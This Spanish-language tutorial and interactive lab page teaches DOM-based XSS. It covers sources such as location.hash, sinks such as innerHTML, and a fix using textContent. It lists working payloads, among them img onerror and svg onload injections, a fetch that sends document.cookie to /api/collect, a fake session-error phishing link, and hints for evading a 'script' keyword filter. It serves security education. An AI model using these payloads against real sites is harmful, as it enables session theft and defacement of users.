XSS basado en DOM
Sin pasar por el servidor. El JavaScript del cliente lee datos de la URL y los escribe en el DOM sin sanitizar. El payload nunca toca el backend.
La diferencia fundamental
En los XSS reflejado y persistente, el servidor es parte del problema: devuelve HTML sin sanitizar.
En el DOM XSS, el servidor es completamente inocente. El payload
nunca llega al servidor: vive en el fragmento de la URL (#hash) o es
procesado enteramente por JavaScript del lado cliente antes de que haya ninguna petición.
location.hash
es completamente invisible para la infraestructura de monitorización del servidor.
Sources — De dónde viene el dato no confiable
Un source es cualquier valor controlable por el atacante que el código JavaScript lee:
El fragmento tras el # en la URL. Nunca se envía al servidor. Ideal para DOM XSS sigiloso.
url.com/page#payload
La query string (?param=valor). Sí llega al servidor, pero si el JS la procesa antes, puede haber DOM XSS.
url.com/page?name=valor
URL de la página anterior. Si se muestra en la página actual sin escapar, puede ser controlado por el atacante.
Mensajes entre ventanas/iframes. Si no se valida el origen (event.origin), el atacante puede enviar datos maliciosos desde otro iframe.
Si datos de terceros se almacenan en localStorage y luego se insertan en el DOM, pueden contener payloads XSS.
Versión moderna de parseo de query string. Igualmente peligroso si los valores se insertan sin escapar.
Sinks — Donde el dato se convierte en código
Un sink es cualquier función o propiedad que, al recibir datos del atacante, puede ejecutar código:
El más común. Parsea HTML completo incluyendo atributos de evento y elementos como <img onerror>.
Reescribe el documento. Puede inyectar <script> y otros elementos ejecutables.
Ejecuta directamente una cadena como JavaScript. El sink más peligroso.
Cuando reciben una cadena en lugar de una función, la evalúan como código.
Asignar javascript:... a un atributo href o src ejecuta JS al activarse.
Equivalente a innerHTML. Muy frecuente en código jQuery antiguo.
Ejemplo de código vulnerable
// ❌ Source: location.hash
// ❌ Sink: innerHTML
window.addEventListener('load', () => {
const name = location.hash.slice(1); // source
document.getElementById('greeting')
.innerHTML = 'Hola, ' + name; // sink
});
// URL de ataque:
// /welcome#<img src=x onerror=alert(1)>
// ✅ Usar textContent en lugar de innerHTML
window.addEventListener('load', () => {
const name = location.hash.slice(1);
document.getElementById('greeting')
.textContent = 'Hola, ' + name; // no parsea HTML
});
// O escapar manualmente:
function escapeHtml(str) {
const d = document.createElement('div');
d.textContent = str;
return d.innerHTML; // ya escapado
}
document.getElementById('greeting')
.innerHTML = 'Hola, ' + escapeHtml(name);
location.hash como source y innerHTML como sink.
El servidor no interviene en absoluto. Manipula la URL de esta página para explotar la vulnerabilidad.
Esta mini-app lee el nombre desde location.hash y lo escribe con innerHTML.
Portal de empleados
Sistema de gestión interno v2.1
URL actual:
URL generada:
Haz clic en "Aplicar" para cargar directamente:
<img src=x onerror="alert('DOM XSS!')">
<svg onload="alert('SVG XSS')"></svg>
<b style="color:red">SISTEMA COMPROMETIDO</b><script>document.getElementById('vuln-app').style.background='#fee'</script>
<img src=x onerror="fetch('/api/collect?c='+encodeURIComponent(document.cookie))">
<img src=x onerror="document.getElementById('vuln-app').innerHTML='<p>Error de sesión. <a href=\'/labs/dom/#evil\' style=\'color:blue\'>Haz clic para continuar</a></p>'">
<a href="javascript:alert(document.cookie)">Haz clic aquí</a>
Este es exactamente el código que hace vulnerable el portal de bienvenida de arriba:
// SOURCE: location.hash — nunca llega al servidor
window.addEventListener('hashchange', renderGreeting);
window.addEventListener('load', renderGreeting);
function renderGreeting() {
const name = decodeURIComponent(location.hash.slice(1));
// ❌ SINK: innerHTML — parsea el input como HTML
document.getElementById('greeting').innerHTML =
name ? 'Hola, ' + name : 'Escribe tu nombre en la URL: #TuNombre';
}
- El payload está en la URL de esta misma página (en el
#hash) - El servidor nunca ve el hash — no hay logs en el servidor
- Para "enviar" el ataque a una víctima, le compartes la URL con el payload incluido
- La explotación ocurre en el contexto del dominio legítimo
Consigue que el portal de bienvenida ejecute un alert() usando el hash de la URL.
El payload debe viajar en # y ejecutarse gracias al innerHTML vulnerable.
Inyecta un payload en el hash que exfiltre la cookie lab_session a
/api/collect. Confirma que fue capturada.
Imagina que la aplicación filtra la cadena script del hash (case-insensitive).
Consigue ejecutar JavaScript sin usar la palabra script en tu payload.
Pista
Prueba: <img src=x onerror=...>, <svg onload=...>,
<body onload=...>, <details open ontoggle=...>,
<video src=x onerror=...>. Hay docenas de event handlers en HTML.
Escribe en el campo de texto de abajo un fragmento de código JavaScript vulnerable a DOM XSS. Identifica el source y el sink, y explica cómo lo explotarías.